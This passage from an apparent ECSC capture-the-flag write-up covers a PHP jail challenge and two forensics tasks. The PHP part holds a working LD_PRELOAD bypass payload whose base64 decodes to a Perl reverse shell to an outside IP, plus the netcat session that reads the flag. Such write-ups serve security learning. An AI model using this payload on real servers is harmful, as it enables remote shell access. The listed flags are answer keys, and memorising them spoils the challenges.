AAEAAAAAAAAAAQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAlRAAAAAAAADmAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAA=='; $meterpreter = 'IyEvYmluL3NoCnBlcmwgLU1JTyAtZSAnJHA9Zm9yaztleGl0LGlmKCRwKTskYz1uZXcgSU86OlNvY2tldDo6SU5FVChQZWVyQWRkciwiMzcuMTg3LjIuNTc6NTMzMzMiKTtTVERJTi0+ZmRvcGVuKCRjLHIpOyR+LT5mZG9wZW4oJGMsdyk7c3lzdGVtJF8gd2hpbGU8PjsnCg=='; file_put_contents('/tmp/chankro.so', base64_decode($hook)); file_put_contents('/tmp/acpid.socket', base64_decode($meterpreter)); putenv('CHANKRO=/tmp/acpid.socket'); putenv('LD_PRELOAD=/tmp/chankro.so'); mail('a','a','a','a');
Kidding? I won't write a TCP socket handling script when I can simple do this:
1 2 3 4 5 6 7 8 9 10 11 12 $ nc challenges.ecsc-teamfrance.fr 4002 < send.txt /// PHP JAIL //// There's a file named flag on this filesystem. Find it. Read it. Flag it. Enter your command: Bye!
EZ PZ. Et voilà un coquillage à l'envers (It's for you ANSSI guys)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 $ nc -vnlp 53333 Connection from 51.91.7.35:41242 grep -r flag /home/user0 /home/user0/program.py: There's a file named flag on this filesystem. ls -lRhA /home /home: total 4.0K drwxr-xr-x 1 root user0 4.0K May 19 17:18 user0 /home/user0: total 32K -rw-r--r-- 1 root user0 220 May 15 2017 .bash_logout -rw-r--r-- 1 root user0 3.5K May 15 2017 .bashrc -rw-r--r-- 1 root user0 675 May 15 2017 .profile drwxr-xr-x 1 root user0 4.0K May 19 17:18 .sensitive -rw-r--r-- 1 root user0 282 May 19 17:17 config.py -rw-r--r-- 1 root user0 281 May 19 17:17 main.php -rw-r--r-- 1 root user0 3.2K May 19 17:17 program.py -rw-r--r-- 1 root user0 1.2K May 19 17:17 server.py /home/user0/.sensitive: total 4.0K drwxr-xr-x 1 root user0 4.0K May 19 17:18 randomdir /home/user0/.sensitive/randomdir: total 4.0K -rw-r--r-- 1 root user0 47 May 19 17:17 flag cat /home/user0/.sensitive/randomdir/flag ECSC{22b1843abfd76008ce3683e583c66e85c6bbdc65}
46 - Petites notes - Forensics
Wireshark > Statistics > Capture file properties
1 2 3 4 5 6 7 Packet Comments Frame 118: Cette capture ressemble à une simple navigation légitime. Frame 874: Cette simple navigation permet de commencer tranquillement. Réassemble les commentaires pour obtenir le flag. Frame 3188: ECSC{cShl Frame 4100: e5dO Frame 4221: KYBfj Frame 4903: LNzT}
Always check metadata.
43 - Not so FAT - Forensics
Sol a: Testdisk => FAT16 => List files => Extract flag.zip
Sol b: Binwalk => Foremost
Then extract with password password
ECSC{eefea8cda693390c7ce0f6da6e388089dd615379}